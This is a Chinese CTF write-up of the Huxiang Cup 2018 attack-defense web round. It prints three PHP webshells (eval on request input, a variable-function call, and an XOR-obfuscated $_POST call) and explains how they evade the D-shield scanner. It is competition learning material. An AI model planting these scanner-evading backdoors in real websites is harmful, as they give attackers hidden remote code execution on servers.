湖湘杯2018 WEB AD中的一個免殺shell

說明

今年湖湘盃賽制挺新穎的,就是運維和題目還有待吐槽,詳見知乎上各位大佬的點評:P萌新這裏只好總結一下web的AD情況

一句話打全場

首先登上去就能看到一個root權限的.shell.php,好像要循環刪除才能刪掉,但這個好像又會循環寫入。。。所以拿着這個.shell.php一直請求全場就行了,,多試幾次,可能之前被刪後面又有了。這個可能是主辦方自己想來管理網站的,結果忘刪了?_?
還有就是交flag的地方會卡,我寫了個自動交flag的腳本就不管了,結果後來才發現有很多次我都沒交上去,少拿了很多分數。
當然更坑的是這裏比賽80支隊伍分了兩個C段,172.16.0.xxx 172.16.1.xxx,我們只發現了1.xxx,,,少打了一半隊伍。。。。

免殺的後門

賽後請教p0大佬,發現還有一個後門,但是我們直接拿D盾掃,卻沒有掃出來,賽後一看,原來是:

<?php
$a = $_REQUEST['a'];
$b = null;//這一行是關鍵,加了之後就殺不出來,刪去後就能查出來
eval($b.$a.$b);//$b兩邊都要有,方可免殺
?>

還真是奇特,可能是D盾有零字節截斷?_?,學到了,學到了。
之前有大佬報的if else繞過監測,現在也會被D盾報2級威脅。

<?=
$a = $_REQUEST[0];
if (true)
$b = $a;
else
$b = "";
if (true)
$c = $_REQUEST[1];
else
$c = "";
$c($b);    
?>

但那種亦或編碼依然不會被D盾查出來,不過特徵實在太過明顯,手動搜^就行了[笑哭]

${(chr(63)^chr(96)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(44)^chr(64))]);
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章